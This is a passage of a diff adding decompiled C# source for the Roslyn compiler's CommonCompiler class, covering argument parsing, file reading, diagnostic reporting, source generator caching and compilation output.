ImmutableArray generators); + + public CommonCompiler(CommandLineParser parser, string? responseFile, string[] args, BuildPaths buildPaths, string? additionalReferenceDirectories, IAnalyzerAssemblyLoader assemblyLoader, GeneratorDriverCache? driverCache, ICommonCompilerFileSystem? fileSystem) + { + IEnumerable enumerable = args; + if (!SuppressDefaultResponseFile(args) && File.Exists(responseFile)) + { + enumerable = new string[1] { "@" + responseFile }.Concat(enumerable); + } + Arguments = parser.Parse(enumerable, buildPaths.WorkingDirectory, buildPaths.SdkDirectory, additionalReferenceDirectories); + MessageProvider = parser.MessageProvider; + AssemblyLoader = assemblyLoader; + GeneratorDriverCache = driverCache; + EmbeddedSourcePaths = GetEmbeddedSourcePaths(Arguments); + FileSystem = fileSystem ?? StandardFileSystem.Instance; + } + + internal abstract bool SuppressDefaultResponseFile(IEnumerable args); + + internal string GetCompilerVersion() + { + return GetProductVersion(Type); + } + + internal static string GetProductVersion(Type type) + { + string? informationalVersionWithoutHash = GetInformationalVersionWithoutHash(type); + string shortCommitHash = GetShortCommitHash(type); + return informationalVersionWithoutHash + " (" + shortCommitHash + ")"; + } + + [return: NotNullIfNotNull("hash")] + internal static string? ExtractShortCommitHash(string? hash) + { + if (hash != null && hash.Length >= 8 && hash[0] != '<') + { + return hash.Substring(0, 8); + } + return hash; + } + + private static string? GetInformationalVersionWithoutHash(Type type) + { + AssemblyInformationalVersionAttribute? customAttribute = type.Assembly.GetCustomAttribute(); + if (customAttribute == null) + { + return null; + } + return customAttribute.InformationalVersion.Split(new char[1] { '+' })[0]; + } + + private static string? GetShortCommitHash(Type type) + { + return ExtractShortCommitHash(type.Assembly.GetCustomAttribute()?.Hash); + } + + internal abstract string GetToolName(); + + internal Version? GetAssemblyVersion() + { + return Type.GetTypeInfo().Assembly.GetName().Version; + } + + internal string GetCultureName() + { + return Culture.Name; + } + + internal virtual Func GetMetadataProvider() + { + return (string path, MetadataReferenceProperties properties) => MetadataReference.CreateFromFile(FileSystem.OpenFileWithNormalizedException(path, FileMode.Open, FileAccess.Read, FileShare.Read), path, properties); + } + + internal virtual MetadataReferenceResolver GetCommandLineMetadataReferenceResolver(TouchedFileLogger? loggerOpt) + { + return new LoggingMetadataFileReferenceResolver(new CompilerRelativePathResolver(FileSystem, Arguments.ReferencePaths, Arguments.BaseDirectory), GetMetadataProvider(), loggerOpt); + } + + internal List ResolveMetadataReferences(List diagnostics, TouchedFileLogger? touchedFiles, out MetadataReferenceResolver referenceDirectiveResolver) + { + MetadataReferenceResolver commandLineMetadataReferenceResolver = GetCommandLineMetadataReferenceResolver(touchedFiles); + List list = new List(); + Arguments.ResolveMetadataReferences(commandLineMetadataReferenceResolver, diagnostics, MessageProvider, list); + if (Arguments.IsScriptRunner) + { + referenceDirectiveResolver = commandLineMetadataReferenceResolver; + } + else + { + referenceDirectiveResolver = new ExistingReferencesResolver(commandLineMetadataReferenceResolver, list.ToImmutableArray()); + } + return list; + } + + internal SourceText? TryReadFileContent(CommandLineSourceFile file, IList diagnostics) + { + string normalizedFilePath; + return TryReadFileContent(file, diagnostics, out normalizedFilePath); + } + + internal SourceText? TryReadFileContent(CommandLineSourceFile file, IList diagnostics, out string? normalizedFilePath) + { + string path = file.Path; + try + { + if (file.IsInputRedirected) + { + using (Stream stream = Console.OpenStandardInput()) + { + normalizedFilePath = path; + return EncodedStringText.Create(stream, _fallbackEncoding, Arguments.Encoding, Arguments.ChecksumAlgorithm, EmbeddedSourcePaths.Contains(file.Path)); + } + } + using Stream stream2 = OpenFileForReadWithSmallBufferOptimization(path, out normalizedFilePath); + return EncodedStringText.Create(stream2, _fallbackEncoding, Arguments.Encoding, Arguments.ChecksumAlgorithm, EmbeddedSourcePaths.Contains(file.Path)); + } + catch (Exception e) + { + diagnostics.Add(ToFileReadDiagnostics(MessageProvider, e, path)); + normalizedFilePath = null; + return null; + } + } + + internal bool TryGetAnalyzerConfigSet(ImmutableArray analyzerConfigPaths, DiagnosticBag diagnostics, [NotNullWhen(true)] out AnalyzerConfigSet? analyzerConfigSet) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(analyzerConfigPaths.Length); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = analyzerConfigPaths.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + string normalizedPath; + string text = TryReadFileContent(current, diagnostics, out normalizedPath); + if (text == null) + { + break; + } + string text2 = Path.GetDirectoryName(normalizedPath) ?? normalizedPath; + AnalyzerConfig analyzerConfig = AnalyzerConfig.Parse(text, normalizedPath); + if (!analyzerConfig.IsGlobal) + { + if (instance2.Contains(text2)) + { + diagnostics.Add(Diagnostic.Create(MessageProvider, MessageProvider.ERR_MultipleAnalyzerConfigsInSameDir, text2)); + break; + } + instance2.Add(text2); + } + instance.Add(analyzerConfig); + } + instance2.Free(); + if (diagnostics.HasAnyErrors()) + { + instance.Free(); + analyzerConfigSet = null; + return false; + } + analyzerConfigSet = AnalyzerConfigSet.Create(instance, out ImmutableArray diagnostics2); + diagnostics.AddRange(diagnostics2); + return true; + } + + internal Encoding? GetFallbackEncoding() + { + if (_fallbackEncoding.IsValueCreated) + { + return _fallbackEncoding.Value; + } + return null; + } + + private string? TryReadFileContent(string filePath, DiagnosticBag diagnostics, out string? normalizedPath) + { + try + { + using StreamReader streamReader = new StreamReader(OpenFileForReadWithSmallBufferOptimization(filePath, out normalizedPath), Encoding.UTF8); + return streamReader.ReadToEnd(); + } + catch (Exception e) + { + diagnostics.Add(Diagnostic.Create(ToFileReadDiagnostics(MessageProvider, e, filePath))); + normalizedPath = null; + return null; + } + } + + private Stream OpenFileForReadWithSmallBufferOptimization(string filePath, out string normalizedFilePath) + { + return FileSystem.OpenFileEx(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite, 1, FileOptions.None, out normalizedFilePath); + } + + internal EmbeddedText? TryReadEmbeddedFileContent(string filePath, DiagnosticBag diagnostics) + { + try + { + string normalizedFilePath; + using Stream stream = OpenFileForReadWithSmallBufferOptimization(filePath, out normalizedFilePath); + if (stream.Length < 81920 && EncodedStringText.TryGetBytesFromStream(stream, out var bytes)) + { + return EmbeddedText.FromBytes(filePath, bytes, Arguments.ChecksumAlgorithm); + } + return EmbeddedText.FromStream(filePath, stream, Arguments.ChecksumAlgorithm); + } + catch (Exception e) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(ToFileReadDiagnostics(MessageProvider, e, filePath))); + return null; + } + } + + private ImmutableArray AcquireEmbeddedTexts(Compilation compilation, DiagnosticBag diagnostics) + { + if (Arguments.EmbeddedFiles.IsEmpty) + { + return ImmutableArray.Empty; + } + Dictionary dictionary = new Dictionary(Arguments.EmbeddedFiles.Length); + OrderedSet orderedSet = new OrderedSet(Arguments.EmbeddedFiles.Select((CommandLineSourceFile e) => e.Path)); + foreach (SyntaxTree syntaxTree in compilation.SyntaxTrees) + { + if (EmbeddedSourcePaths.Contains(syntaxTree.FilePath) && !dictionary.ContainsKey(syntaxTree.FilePath)) + { + dictionary.Add(syntaxTree.FilePath, syntaxTree); + ResolveEmbeddedFilesFromExternalSourceDirectives(syntaxTree, compilation.Options.SourceReferenceResolver, orderedSet, diagnostics); + } + } + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(orderedSet.Count); + ArrayBuilder.Enumerator enumerator2 = orderedSet.GetEnumerator(); + while (enumerator2.MoveNext()) + { + string current2 = enumerator2.Current; + SyntaxTree value; + EmbeddedText item = ((!dictionary.TryGetValue(current2, out value)) ? TryReadEmbeddedFileContent(current2, diagnostics) : EmbeddedText.FromSource(current2, value.GetText())); + builder.Add(item); + } + return builder.MoveToImmutable(); + } + + protected abstract void ResolveEmbeddedFilesFromExternalSourceDirectives(SyntaxTree tree, SourceReferenceResolver resolver, OrderedSet embeddedFiles, DiagnosticBag diagnostics); + + private static Roslyn.Utilities.IReadOnlySet GetEmbeddedSourcePaths(CommandLineArguments arguments) + { + if (arguments.EmbeddedFiles.IsEmpty) + { + return SpecializedCollections.EmptyReadOnlySet(); + } + HashSet hashSet = new HashSet(arguments.EmbeddedFiles.Select((CommandLineSourceFile f) => f.Path)); + hashSet.IntersectWith(arguments.SourceFiles.Select((CommandLineSourceFile f) => f.Path)); + return SpecializedCollections.StronglyTypedReadOnlySet(hashSet); + } + + internal static DiagnosticInfo ToFileReadDiagnostics(CommonMessageProvider messageProvider, Exception e, string filePath) + { + if (e is FileNotFoundException || e is DirectoryNotFoundException) + { + return new DiagnosticInfo(messageProvider, messageProvider.ERR_FileNotFound, filePath); + } + if (e is InvalidDataException) + { + return new DiagnosticInfo(messageProvider, messageProvider.ERR_BinaryFile, filePath); + } + return new DiagnosticInfo(messageProvider, messageProvider.ERR_NoSourceFile, filePath, e.Message); + } + + internal bool ReportDiagnostics(IEnumerable diagnostics, TextWriter consoleOutput, ErrorLogger? errorLoggerOpt, Compilation? compilation) + { + bool hasErrors = false; + foreach (Diagnostic diagnostic in diagnostics) + { + reportDiagnostic(diagnostic, (compilation == null) ? null : diagnostic.GetSuppressionInfo(compilation)); + } + return hasErrors; + void reportDiagnostic(Diagnostic diag, SuppressionInfo? suppressionInfo) + { + if (!_reportedDiagnostics.Contains(diag) && diag.Severity != DiagnosticSeverity.Hidden) + { + errorLoggerOpt?.LogDiagnostic(diag, suppressionInfo); + if (diag.ProgrammaticSuppressionInfo != null) + { + foreach (var suppression in diag.ProgrammaticSuppressionInfo.Suppressions) + { + string item = suppression.Id; + LocalizableString item2 = suppression.Justification; + SuppressionDiagnostic suppressionDiagnostic = new SuppressionDiagnostic(diag, item, item2); + if (_reportedDiagnostics.Add(suppressionDiagnostic)) + { + PrintError(suppressionDiagnostic, consoleOutput); + } + } + _reportedDiagnostics.Add(diag); + } + else if (!diag.IsSuppressed) + { + if (diag.Severity == DiagnosticSeverity.Error) + { + hasErrors = true; + } + PrintError(diag, consoleOutput); + _reportedDiagnostics.Add(diag); + } + } + } + } + + private bool ReportDiagnostics(DiagnosticBag diagnostics, TextWriter consoleOutput, ErrorLogger? errorLoggerOpt, Compilation? compilation) + { + return ReportDiagnostics(diagnostics.ToReadOnly(), consoleOutput, errorLoggerOpt, compilation); + } + + internal bool ReportDiagnostics(IEnumerable diagnostics, TextWriter consoleOutput, ErrorLogger? errorLoggerOpt, Compilation? compilation) + { + return ReportDiagnostics(diagnostics.Select((DiagnosticInfo info) => Diagnostic.Create(info)), consoleOutput, errorLoggerOpt, compilation); + } + + private void ReportIVTInfos(TextWriter consoleOutput, ErrorLogger? errorLogger, Compilation compilation, ImmutableArray diagnostics) + { + DiagnoseBadAccesses(consoleOutput, errorLogger, compilation, diagnostics); + consoleOutput.WriteLine(); + consoleOutput.WriteLine(CodeAnalysisResources.InternalsVisibleToHeaderSummary); + IAssemblySymbol assembly = compilation.Assembly; + IAssemblySymbolInternal symbolInternal = compilation.GetSymbolInternal(assembly); + consoleOutput.WriteLine(string.Format(CodeAnalysisResources.InternalsVisibleToCurrentAssembly, assembly.Identity.GetDisplayName(fullKey: true))); + consoleOutput.WriteLine(); + foreach (IAssemblySymbol item in assembly.Modules.First().ReferencedAssemblySymbols.OrderBy((IAssemblySymbol a) => a.Name)) + { + IAssemblySymbolInternal symbolInternal2 = compilation.GetSymbolInternal(item); + bool flag = symbolInternal.AreInternalsVisibleToThisAssembly(symbolInternal2); + consoleOutput.WriteLine(string.Format(CodeAnalysisResources.InternalsVisibleToReferencedAssembly, item.Identity.GetDisplayName(fullKey: true), flag)); + IEnumerable internalsVisibleToAssemblyNames = symbolInternal2.GetInternalsVisibleToAssemblyNames(); + if (internalsVisibleToAssemblyNames.Any()) + { + foreach (string item2 in internalsVisibleToAssemblyNames.OrderBy((string n) => n)) + { + consoleOutput.WriteLine(string.Format(CodeAnalysisResources.InternalsVisibleToReferencedAssemblyDetails, item2)); + foreach (string item3 in from k in symbolInternal2.GetInternalsVisibleToPublicKeys(item2) + select AssemblyIdentity.PublicKeyToString(k) into k + orderby k + select k) + { + consoleOutput.Write(" "); + consoleOutput.WriteLine(item3); + } + } + } + else + { + consoleOutput.Write(" "); + consoleOutput.WriteLine(CodeAnalysisResources.Nothing); + } + consoleOutput.WriteLine(); + } + } + + private protected abstract void DiagnoseBadAccesses(TextWriter consoleOutput, ErrorLogger? errorLogger, Compilation compilation, ImmutableArray diagnostics); + + internal static bool HasUnsuppressableErrors(DiagnosticBag diagnostics) + { + foreach (Diagnostic item in diagnostics.AsEnumerable()) + { + if (item.IsUnsuppressableError()) + { + return true; + } + } + return false; + } + + internal static bool HasUnsuppressedErrors(DiagnosticBag diagnostics) + { + foreach (Diagnostic item in diagnostics.AsEnumerable()) + { + if (item.IsUnsuppressedError) + { + return true; + } + } + return false; + } + + protected virtual void PrintError(Diagnostic diagnostic, TextWriter consoleOutput) + { + consoleOutput.WriteLine(DiagnosticFormatter.Format(diagnostic, Culture)); + } + + public SarifErrorLogger? GetErrorLogger(TextWriter consoleOutput) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + Stream stream = OpenFile(Arguments.ErrorLogOptions.Path, instance, FileMode.Create, FileAccess.Write, FileShare.ReadWrite | FileShare.Delete); + SarifErrorLogger sarifErrorLogger; + if (stream == null) + { + sarifErrorLogger = null; + } + else + { + string toolName = GetToolName(); + string compilerVersion = GetCompilerVersion(); + Version toolAssemblyVersion = GetAssemblyVersion() ?? new Version(); + sarifErrorLogger = ((Arguments.ErrorLogOptions.SarifVersion != SarifVersion.Sarif1) ? ((SarifErrorLogger)new SarifV2ErrorLogger(stream, toolName, compilerVersion, toolAssemblyVersion, Culture)) : ((SarifErrorLogger)new SarifV1ErrorLogger(stream, toolName, compilerVersion, toolAssemblyVersion, Culture))); + } + ReportDiagnostics(instance.ToReadOnlyAndFree(), consoleOutput, sarifErrorLogger, null); + return sarifErrorLogger; + } + + public virtual int Run(TextWriter consoleOutput, CancellationToken cancellationToken = default(CancellationToken)) + { + CultureInfo currentUICulture = CultureInfo.CurrentUICulture; + SarifErrorLogger sarifErrorLogger = null; + try + { + CultureInfo culture = Culture; + if (culture != null) + { + CultureInfo.CurrentUICulture = culture; + } + if (Arguments.ErrorLogOptions?.Path != null) + { + sarifErrorLogger = GetErrorLogger(consoleOutput); + if (sarifErrorLogger == null) + { + return 1; + } + } + return RunCore(consoleOutput, sarifErrorLogger, cancellationToken); + } + catch (OperationCanceledException) + { + int eRR_CompileCancelled = MessageProvider.ERR_CompileCancelled; + if (eRR_CompileCancelled > 0) + { + DiagnosticInfo diagnosticInfo = new DiagnosticInfo(MessageProvider, eRR_CompileCancelled); + ReportDiagnostics(new DiagnosticInfo[1] { diagnosticInfo }, consoleOutput, sarifErrorLogger, null); + } + return 1; + } + finally + { + CultureInfo.CurrentUICulture = currentUICulture; + sarifErrorLogger?.Dispose(); + } + } + + private protected (Compilation Compilation, GeneratorDriverTimingInfo DriverTimingInfo) RunGenerators(Compilation input, ParseOptions parseOptions, ImmutableArray generators, AnalyzerConfigOptionsProvider analyzerConfigOptionsProvider, ImmutableArray additionalTexts, DiagnosticBag generatorDiagnostics) + { + GeneratorDriver generatorDriver = null; + string cacheKey = string.Empty; + bool flag = !Arguments.ParseOptions.Features.ContainsKey("enable-generator-cache") || string.IsNullOrWhiteSpace(Arguments.OutputFileName); + if (GeneratorDriverCache != null && !flag) + { + cacheKey = deriveCacheKey(); + generatorDriver = GeneratorDriverCache.TryGetDriver(cacheKey)?.WithUpdatedParseOptions(parseOptions).WithUpdatedAnalyzerConfigOptions(analyzerConfigOptionsProvider).ReplaceAdditionalTexts(additionalTexts); + } + if (generatorDriver == null) + { + generatorDriver = CreateGeneratorDriver(parseOptions, generators, analyzerConfigOptionsProvider, additionalTexts); + } + generatorDriver = generatorDriver.RunGeneratorsAndUpdateCompilation(input, out Compilation outputCompilation, out ImmutableArray diagnostics); + generatorDiagnostics.AddRange(diagnostics); + if (!flag) + { + GeneratorDriverCache?.CacheGenerator(cacheKey, generatorDriver); + } + return (Compilation: outputCompilation, DriverTimingInfo: generatorDriver.GetTimingInfo()); + string deriveCacheKey() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + instance.Builder.Append(Arguments.GetOutputFilePath(Arguments.OutputFileName)); + ImmutableArray.Enumerator enumerator = generators.GetEnumerator(); + while (enumerator.MoveNext()) + { + Type generatorType = enumerator.Current.GetGeneratorType(); + instance.Builder.Append(generatorType.AssemblyQualifiedName); + instance.Builder.Append(generatorType.Assembly.ManifestModule.ModuleVersionId.ToString()); + } + return instance.ToStringAndFree(); + } + } + + private protected abstract GeneratorDriver CreateGeneratorDriver(ParseOptions parseOptions, ImmutableArray generators, AnalyzerConfigOptionsProvider analyzerConfigOptionsProvider, ImmutableArray additionalTexts); + + private int RunCore(TextWriter consoleOutput, ErrorLogger? errorLogger, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + if (Arguments.DisplayVersion) + { + PrintVersion(consoleOutput); + return 0; + } + if (Arguments.DisplayLangVersions) + { + PrintLangVersions(consoleOutput); + return 0; + } + if (Arguments.DisplayLogo) + { + PrintLogo(consoleOutput); + } + if (Arguments.DisplayHelp) + { + PrintHelp(consoleOutput); + return 0; + } + if (ReportDiagnostics(Arguments.Errors, consoleOutput, errorLogger, null)) + { + return 1; + } + TouchedFileLogger touchedFilesLogger = ((Arguments.TouchedFilesPath != null) ? new TouchedFileLogger() : null); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + AnalyzerConfigSet analyzerConfigSet = null; + ImmutableArray immutableArray = default(ImmutableArray); + AnalyzerConfigOptionsResult globalConfigOptions = default(AnalyzerConfigOptionsResult); + if (Arguments.AnalyzerConfigPaths.Length > 0) + { + if (!TryGetAnalyzerConfigSet(Arguments.AnalyzerConfigPaths, instance, out analyzerConfigSet)) + { + ReportDiagnostics(instance, consoleOutput, errorLogger, null); + return 1; + } + globalConfigOptions = analyzerConfigSet.GlobalConfigOptions; + immutableArray = Arguments.SourceFiles.SelectAsArray((CommandLineSourceFile f) => analyzerConfigSet.GetOptionsForSourcePath(f.Path)); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + instance.AddRange(enumerator.Current.Diagnostics); + } + } + Compilation compilation = CreateCompilation(consoleOutput, touchedFilesLogger, errorLogger, immutableArray, globalConfigOptions); + if (compilation == null) + { + return 1; + } + List diagnostics = new List(); + ResolveAnalyzersFromArguments(diagnostics, MessageProvider, compilation.Options, Arguments.SkipAnalyzers, out ImmutableArray analyzers, out ImmutableArray generators); + ImmutableArray items = ResolveAdditionalFilesFromArguments(diagnostics, MessageProvider, touchedFilesLogger); + if (ReportDiagnostics(diagnostics, consoleOutput, errorLogger, compilation)) + { + return 1; + } + ImmutableArray embeddedTexts = AcquireEmbeddedTexts(compilation, instance); + if (ReportDiagnostics(instance, consoleOutput, errorLogger, compilation)) + { + return 1; + } + ImmutableArray additionalTextFiles = ImmutableArray.CastUp(items); + CompileAndEmit(touchedFilesLogger, ref compilation, analyzers, generators, additionalTextFiles, analyzerConfigSet, immutableArray, embeddedTexts, instance, errorLogger, cancellationToken, out CancellationTokenSource analyzerCts, out AnalyzerDriver analyzerDriver, out GeneratorDriverTimingInfo? generatorTimingInfo); + analyzerCts?.Cancel(); + int result = (ReportDiagnostics(instance, consoleOutput, errorLogger, compilation) ? 1 : 0); + ImmutableArray.Enumerator enumerator2 = items.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AdditionalTextFile current = enumerator2.Current; + if (ReportDiagnostics(current.Diagnostics, consoleOutput, errorLogger, compilation)) + { + result = 1; + } + } + if (Arguments.ReportAnalyzer) + { + ReportAnalyzerUtil.Report(consoleOutput, analyzerDriver, generatorTimingInfo, Culture, compilation.Options.ConcurrentBuild); + } + if (Arguments.ReportInternalsVisibleToAttributes) + { + ReportIVTInfos(consoleOutput, errorLogger, compilation, instance.ToReadOnly()); + } + instance.Free(); + return result; + } + + private static CompilerAnalyzerConfigOptionsProvider UpdateAnalyzerConfigOptionsProvider(CompilerAnalyzerConfigOptionsProvider existing, IEnumerable syntaxTrees, ImmutableArray sourceFileAnalyzerConfigOptions, ImmutableArray additionalFiles = default(ImmutableArray), ImmutableArray additionalFileOptions = default(ImmutableArray)) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + int num = 0; + foreach (SyntaxTree syntaxTree in syntaxTrees) + { + ImmutableDictionary analyzerOptions = sourceFileAnalyzerConfigOptions[num].AnalyzerOptions; + if (analyzerOptions.Count > 0) + { + builder.Add(syntaxTree, new DictionaryAnalyzerConfigOptions(analyzerOptions)); + } + num++; + } + if (!additionalFiles.IsDefault) + { + for (num = 0; num < additionalFiles.Length; num++) + { + ImmutableDictionary analyzerOptions2 = additionalFileOptions[num].AnalyzerOptions; + if (analyzerOptions2.Count > 0) + { + builder.Add(additionalFiles[num], new DictionaryAnalyzerConfigOptions(analyzerOptions2)); + } + } + } + return existing.WithAdditionalTreeOptions(builder.ToImmutable()); + } + + private void CompileAndEmit(TouchedFileLogger? touchedFilesLogger, ref Compilation compilation, ImmutableArray analyzers, ImmutableArray generators, ImmutableArray additionalTextFiles, AnalyzerConfigSet? analyzerConfigSet, ImmutableArray sourceFileAnalyzerConfigOptions, ImmutableArray embeddedTexts, DiagnosticBag diagnostics, ErrorLogger? errorLogger, CancellationToken cancellationToken, out CancellationTokenSource? analyzerCts, out AnalyzerDriver? analyzerDriver, out GeneratorDriverTimingInfo? generatorTimingInfo) + { + analyzerCts = null; + analyzerDriver = null; + generatorTimingInfo = null; + compilation.GetDiagnostics(CompilationStage.Parse, includeEarlierStages: false, diagnostics, cancellationToken); + if (HasUnsuppressableErrors(diagnostics)) + { + return; + } + DiagnosticBag diagnosticBag = null; + if (!analyzers.IsEmpty || !generators.IsEmpty) + { + CompilerAnalyzerConfigOptionsProvider compilerAnalyzerConfigOptionsProvider = CompilerAnalyzerConfigOptionsProvider.Empty; + if (Arguments.AnalyzerConfigPaths.Length > 0) + { + compilerAnalyzerConfigOptionsProvider = compilerAnalyzerConfigOptionsProvider.WithGlobalOptions(new DictionaryAnalyzerConfigOptions(analyzerConfigSet.GetOptionsForSourcePath(string.Empty).AnalyzerOptions)); + ImmutableArray additionalFileOptions = additionalTextFiles.SelectAsArray((AdditionalText f) => analyzerConfigSet.GetOptionsForSourcePath(f.Path)); + ImmutableArray.Enumerator enumerator = additionalFileOptions.GetEnumerator(); + while (enumerator.MoveNext()) + { + diagnostics.AddRange(enumerator.Current.Diagnostics); + } + compilerAnalyzerConfigOptionsProvider = UpdateAnalyzerConfigOptionsProvider(compilerAnalyzerConfigOptionsProvider, compilation.SyntaxTrees, sourceFileAnalyzerConfigOptions, additionalTextFiles, additionalFileOptions); + } + if (!generators.IsEmpty) + { + (Compilation, GeneratorDriverTimingInfo) tuple = RunGenerators(compilation, Arguments.ParseOptions, generators, compilerAnalyzerConfigOptionsProvider, additionalTextFiles, diagnostics); + GeneratorDriverTimingInfo? generatorDriverTimingInfo = tuple.Item2; + compilation = tuple.Item1; + generatorTimingInfo = generatorDriverTimingInfo; + bool num = !Arguments.AnalyzerConfigPaths.IsEmpty; + bool flag = !string.IsNullOrWhiteSpace(Arguments.GeneratedFilesOutputDirectory); + List list = compilation.SyntaxTrees.Skip(Arguments.SourceFiles.Length).ToList(); + ArrayBuilder arrayBuilder = (num ? ArrayBuilder.GetInstance(list.Count) : null); + ArrayBuilder instance = ArrayBuilder.GetInstance(list.Count); + try + { + foreach (SyntaxTree item in list) + { + cancellationToken.ThrowIfCancellationRequested(); + SourceText text = item.GetText(cancellationToken); + instance.Add(EmbeddedText.FromSource(item.FilePath, text)); + arrayBuilder?.Add(analyzerConfigSet.GetOptionsForSourcePath(item.FilePath)); + if (!flag) + { + continue; + } + string text2 = Path.Combine(Arguments.GeneratedFilesOutputDirectory, item.FilePath); + if (Directory.Exists(Arguments.GeneratedFilesOutputDirectory)) + { + Directory.CreateDirectory(Path.GetDirectoryName(text2)); + } + Stream stream = OpenFile(text2, diagnostics, FileMode.Create, FileAccess.Write, FileShare.ReadWrite | FileShare.Delete); + if (stream == null) + { + continue; + } + using (new NoThrowStreamDisposer(stream, text2, diagnostics, MessageProvider)) + { + using StreamWriter textWriter = new StreamWriter(stream, item.Encoding); + text.Write(textWriter, cancellationToken); + touchedFilesLogger?.AddWritten(text2); + } + } + embeddedTexts = embeddedTexts.AddRange(instance); + if (arrayBuilder != null) + { + compilerAnalyzerConfigOptionsProvider = UpdateAnalyzerConfigOptionsProvider(compilerAnalyzerConfigOptionsProvider, list, arrayBuilder.ToImmutable()); + } + } + finally + { + arrayBuilder?.Free(); + instance.Free(); + } + } + AnalyzerOptions options = CreateAnalyzerOptions(additionalTextFiles, compilerAnalyzerConfigOptionsProvider); + if (!analyzers.IsEmpty) + { + analyzerCts = CancellationTokenSource.CreateLinkedTokenSource(new CancellationToken[1] { cancellationToken }); + diagnosticBag = new DiagnosticBag(); + SeverityFilter severityFilter = SeverityFilter.Hidden; + if (Arguments.ErrorLogPath == null) + { + severityFilter |= SeverityFilter.Info; + } + analyzerDriver = AnalyzerDriver.CreateAndAttachToCompilation(compilation, analyzers, options, new AnalyzerManager(analyzers), diagnosticBag.Add, Arguments.ReportAnalyzer || errorLogger != null, severityFilter, errorLogger != null, out compilation, analyzerCts.Token); + } + } + compilation.GetDiagnostics(CompilationStage.Declare, includeEarlierStages: false, diagnostics, cancellationToken); + if (HasUnsuppressableErrors(diagnostics)) + { + return; + } + cancellationToken.ThrowIfCancellationRequested(); + string outputFileName = GetOutputFileName(compilation, cancellationToken); + string outputFilePath = Arguments.GetOutputFilePath(outputFileName); + string pdbFilePath = Arguments.GetPdbFilePath(outputFileName); + string documentationPath = Arguments.DocumentationPath; + NoThrowStreamDisposer noThrowStreamDisposer = null; + try + { + EmitOptions emitOptions = Arguments.EmitOptions.WithOutputNameOverride(outputFileName).WithPdbFilePath(PathUtilities.NormalizePathPrefix(pdbFilePath, Arguments.PathMap)); + if (Arguments.ParseOptions.Features.ContainsKey("pdb-path-determinism") && !string.IsNullOrEmpty(emitOptions.PdbFilePath)) + { + emitOptions = emitOptions.WithPdbFilePath(Path.GetFileName(emitOptions.PdbFilePath)); + } + if (Arguments.ParseOptions.Features.ContainsKey("debug-determinism")) + { + EmitDeterminismKey(compilation, FileSystem, additionalTextFiles, analyzers, generators, Arguments.PathMap, emitOptions); + } + if (Arguments.SourceLink != null) + { + Stream stream2 = OpenFile(Arguments.SourceLink, diagnostics, FileMode.Open, FileAccess.Read, FileShare.Read); + if (stream2 != null) + { + noThrowStreamDisposer = new NoThrowStreamDisposer(stream2, Arguments.SourceLink, diagnostics, MessageProvider); + } + } + if (!PathUtilities.IsValidFilePath(pdbFilePath)) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.FTL_InvalidInputFileName, Location.None, pdbFilePath)); + } + CommonPEModuleBuilder commonPEModuleBuilder = compilation.CheckOptionsAndCreateModuleBuilder(diagnostics, Arguments.ManifestResources, emitOptions, null, noThrowStreamDisposer?.Stream, embeddedTexts, null, cancellationToken); + if (commonPEModuleBuilder != null) + { + bool flag2; + try + { + flag2 = compilation.CompileMethods(commonPEModuleBuilder, Arguments.EmitPdb, diagnostics, null, cancellationToken); + if (analyzerDriver != null && !diagnostics.IsEmptyWithoutResolution) + { + analyzerDriver.ApplyProgrammaticSuppressions(diagnostics, compilation, cancellationToken); + } + if (HasUnsuppressedErrors(diagnostics)) + { + flag2 = false; + } + if (flag2) + { + NoThrowStreamDisposer noThrowStreamDisposer2 = null; + if (documentationPath != null) + { + Stream stream3 = OpenFile(documentationPath, diagnostics, FileMode.OpenOrCreate, FileAccess.Write, FileShare.ReadWrite | FileShare.Delete); + if (stream3 == null) + { + return; + } + try + { + stream3.SetLength(0L); + } + catch (Exception e) + { + MessageProvider.ReportStreamWriteException(e, documentationPath, diagnostics); + return; + } + noThrowStreamDisposer2 = new NoThrowStreamDisposer(stream3, documentationPath, diagnostics, MessageProvider); + } + using (noThrowStreamDisposer2) + { + using Stream win32Resources = GetWin32Resources(FileSystem, MessageProvider, Arguments, compilation, diagnostics); + if (HasUnsuppressableErrors(diagnostics)) + { + return; + } + flag2 = compilation.GenerateResources(commonPEModuleBuilder, win32Resources, useRawWin32Resources: false, diagnostics, cancellationToken) && compilation.GenerateDocumentationComments(noThrowStreamDisposer2?.Stream, emitOptions.OutputNameOverride, diagnostics, cancellationToken); + } + if (noThrowStreamDisposer2 != null && noThrowStreamDisposer2.HasFailedToDispose) + { + return; + } + if (flag2) + { + compilation.ReportUnusedImports(diagnostics, cancellationToken); + } + } + compilation.CompleteTrees(null); + if (analyzerDriver != null) + { + ImmutableArray result = analyzerDriver.GetDiagnosticsAsync(compilation, cancellationToken).Result; + diagnostics.AddRange(result); + if (!diagnostics.IsEmptyWithoutResolution) + { + analyzerDriver.ApplyProgrammaticSuppressions(diagnostics, compilation, cancellationToken); + } + if (errorLogger != null) + { + double totalAnalyzerExecutionTime; + ImmutableArray<(DiagnosticDescriptor, DiagnosticDescriptorErrorLoggerInfo)> allDiagnosticDescriptorsWithInfo = analyzerDriver.GetAllDiagnosticDescriptorsWithInfo(cancellationToken, out totalAnalyzerExecutionTime); + AddAnalyzerDescriptorsAndExecutionTime(errorLogger, allDiagnosticDescriptorsWithInfo, totalAnalyzerExecutionTime); + } + } + } + finally + { + commonPEModuleBuilder.CompilationFinished(); + } + if (HasUnsuppressedErrors(diagnostics)) + { + flag2 = false; + } + if (flag2) + { + CompilerEmitStreamProvider compilerEmitStreamProvider = new CompilerEmitStreamProvider(this, outputFilePath); + CompilerEmitStreamProvider compilerEmitStreamProvider2 = (Arguments.EmitPdbFile ? new 